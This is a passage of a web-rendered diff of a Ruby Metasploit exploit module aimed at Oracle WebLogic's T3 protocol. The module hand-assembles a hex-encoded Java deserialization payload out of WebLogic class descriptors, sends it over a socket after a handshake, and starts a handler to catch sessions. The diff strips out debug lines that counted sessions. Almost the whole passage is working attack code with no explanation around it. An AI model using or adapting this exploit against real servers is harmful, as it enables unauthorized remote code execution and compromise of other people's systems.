payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext
|
||||
payload << '7461626c6553657276696365436f6e74657874' # (cont)
|
||||
payload << 'ddcba8706386f0ba' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '78' # object footer
|
||||
payload << '72' # block header
|
||||
payload << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext
|
||||
payload << '696465722e426173696353657276696365436f' # (cont)
|
||||
payload << '6e74657874' # (cont)
|
||||
payload << 'e4632236c5d4a71e' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # block footer
|
||||
payload << '77' # block header
|
||||
payload << '020600' # contents = 0x0600
|
||||
payload << '7372' # class descriptor
|
||||
payload << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor
|
||||
payload << '726e616c2e4d6574686f644465736372697074' # (cont)
|
||||
payload << '6f72' # (cont)
|
||||
payload << '12485a828af7f67b' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # class footer
|
||||
payload << '77' # class data
|
||||
|
||||
#payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765
|
||||
#payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c
|
||||
#payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b
|
||||
payload << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized
|
||||
payload << '78' # class footer
|
||||
payload << '78' # block footer
|
||||
# MISSING OBJECT FOOTER (0x78)
|
||||
|
||||
payload << 'fe00ff' # this cruft again. some kind of footer
|
||||
|
||||
# sets the length of the stream
|
||||
data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')
|
||||
data << payload
|
||||
|
||||
sleep(2)
|
||||
sock.put([data].pack('H*'))
|
||||
sleep(2)
|
||||
sleep(1)
|
||||
sock.get_once
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
@met_sent = []
|
||||
gen_resp
|
||||
|
||||
connect
|
||||
|
||||
print_status('Sending handshake...')
|
||||
|
|
@ -546,25 +515,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status('Sending T3 request object...')
|
||||
build_t3_request_object
|
||||
|
||||
start_service
|
||||
|
||||
session_count_start = framework.sessions.count
|
||||
print_status("session_count_start = #{session_count_start.to_s}")
|
||||
|
||||
print_status('Sending client object payload...')
|
||||
send_payload_objdata
|
||||
|
||||
handler
|
||||
|
||||
print_status("Waiting...")
|
||||
start_time = Time.now.to_i
|
||||
while framework.sessions.count <= session_count_start and Time.now.to_i < start_time + 20
|
||||
print_status("framework.sessions.count = #{framework.sessions.count.to_s} <?> #{session_count_start}")
|
||||
sleep 0.1
|
||||
end
|
||||
|
||||
print_status("framework.sessions.count = #{framework.sessions.count.to_s} <?> #{session_count_start}")
|
||||
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue